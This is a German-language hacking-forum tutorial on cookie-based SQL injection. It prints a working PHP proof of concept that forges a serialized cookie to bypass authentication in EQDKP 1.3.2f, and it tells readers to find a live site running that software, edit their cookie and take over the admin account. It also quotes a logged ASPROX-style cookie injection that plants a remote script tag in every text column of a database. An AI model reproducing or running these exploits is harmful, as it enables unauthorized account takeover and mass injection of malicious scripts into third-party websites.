Knowledge Is Power
Deswegen schreib ich mal ein kleines aber feines "how2" . Für die Experten oder aelteren User vllt nicht mehr interessant da es halt bekannt ist, für Neulinge hingegen denke ich mal sehr nuetzlich!
~Um was geht es denn genau?
Wir behandeln heute mal das Thema Cookies und eine Injection/POCS/Certs dazu. Damit das alles nicht zu umstaendlich ist laden wir uns das Addon Cookie Manager + oder CookieMonster runter (es gibt sicher noch viele andere).
~Vorwort
Eine sogenannte Cookie Injection basiert dadrauf einen Cookie einer Seite mit einer gefakten SQL Injection/Statement zu speisen und diesen denn auf der Seite auszuführen. Ich werde das ganze aber etwas anders erklaeren da ich in diesem Tut auf ein POC zurück greife was schon alt ist.
~Lets Go
Beginnen wir mal mit dem PoC EQDKP Cookie bypass. So kann man uebrigends auch Hashes nutzen die man net cracken kann wenn keine Session ID vergeben wird.
PoC= EQDKP 1.3.2f (user_id) Authentication Bypass (PoC)
/**VORSICHT PHP INSIDE/**
PHP-Code:
<?php
// EQDKP 1.3.2f Authentication Bypass (PoC)
$data['auto_login_id'] = 'x';
$data['user_id'] = "1' " .
"UNION SELECT " .
"1, " . // * user_id
"'a', " . // username
"'x', " . // * user_password
"'', " . // user_email
"1, " . // user_alimit
"1, " . // user_elimit
"1, " . // user_ilimit
"1, " . // user_nlimit
"1, " . // user_rlimit
"1, " . // user_style
"'english', " . // user_lang
"NULL, " . // user_key
"1, " . // user_lastvisit
"NULL, " . // user_lastpage
"1, " . // * user_active
"NULL, " . // user_newpassword
"NULL " . // session_current
"ORDER BY " .
"username ASC" .
"/*";
$cookie = serialize($data);
echo "eqdkp_datann";
for($i = 0; $i < strlen($cookie); $i++)
echo '%' . bin2hex($cookie[$i]);
echo "nn";
?>
So nun suchen wir uns eine Seite die das EQDKP System oben hat und registrieren uns weil wir faul sind. Nach der Reg nehmen wir unser Cookie Monster und editieren den Cookie. In das Feld mit dem Hash kommt unser Bypass "Hash" den wir generiert haben. Jeh nach userID solltet ihr die 1 für den Admin nehmen aber des brauch ich ja nicht extra noch zu erwaehnen.
Ihr speichert nun den Cookie ab und drückt STRG + F5 zum kompletten neu cachen der Seite. Unleashed the black Magic ihr seid nun Admin und das war es schon.
~Was passiert?
Der Bypass umgeht sozusagen die ID==PASS veri des DKP Systems und ihr habt so die Moeglichkeit euch mit dem Admin Acc einzuloggen. Das ganze loift ggf natürlich auch mit hashes von Woltlab Boards bis zum 3er glaube ich. Wordpress sollte auch gehen. Wie dem auch sei.. bei einer Injection ueber den Cookie macht ihr genau das gleiche nur schaut ihr hier noch wo genau ihr die Injection einsetzt und bekommt als Seiten ausgabe nicht den Admin sondern die SQL Ausgabe.
Zitat:
HTML-Code:
ISC reader Mike wrote in to share an interesting new twist on the ongoing SQL injections. What he found in his logs was the following
POST /removed.asp HTTP/1.1
Cookie: start=S end=Z%3BDECLARE%20@S%20VARCHAR(4000)%3BSET%20@S%3DCAST(0x44454....
Content-Type: application/x-www-form-urlencoded
Host: removed
Content-Length: 3
Expect: 100-continue
Connection: Keep-Alive
The injection itself (starting with DECLARE...) looks a lot like the technique used by ASPROX (see our earlier diary), but that the injection attempt here is made not via the URL but rather via a cookie is a new twist. Mike was able to capture the full code block:
DECLARE @T varchar(255),@C varchar(255),@X varchar(255) DECLARE Table_Cursor
CURSOR FOR select a.name,b.name,b.xtype from sysobjects a,syscolumns b where
a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or
b.xtype=167) and a.name<>'dtproperties' and a.id not in(select parent_obj
from sysobjects where xtype='d') OPEN Table_Cursor FETCH NEXT FROM
Table_Cursor INTO @T,@C,@X WHILE(@@FETCH_STATUS=0) BEGIN if (@X=167 or
@X=231) exec('alter table ['+@T+'] alter column ['+@C+']
varchar(1000);update ['+@T+'] set ['+@C+']=['+@C+']+''<script
src=hxxp://ytgw123:cn></script>''') else exec('update ['+@T+'] set
['+@C+']=rtrim(convert(varchar(2000),['+@C+']))+''<script
src=hxxp://ytgw123:cn></script>''') FETCH NEXT FROM Table_Cursor INTO
@T,@C,@X END CLOSE Table_Cursor DEALLOCATE Table_Cursor Quelle ~Schluss
Ich glaube das sollte ermal reichen .. probiert es ruhig auf eurem Xamp aus und checkt alles durch. Es koennen hier auch gern fragen gestellt werden. Fragen ala "wie hacke ich das oder das" werde ich nicht beantworten weil ichs nicht will. Was andere User machen , da hab ich leider kein einfluss druff.
Tut by XoiL Uniquecrew!
Rechtschreibfehler sind im Preis mit Inbegriffen.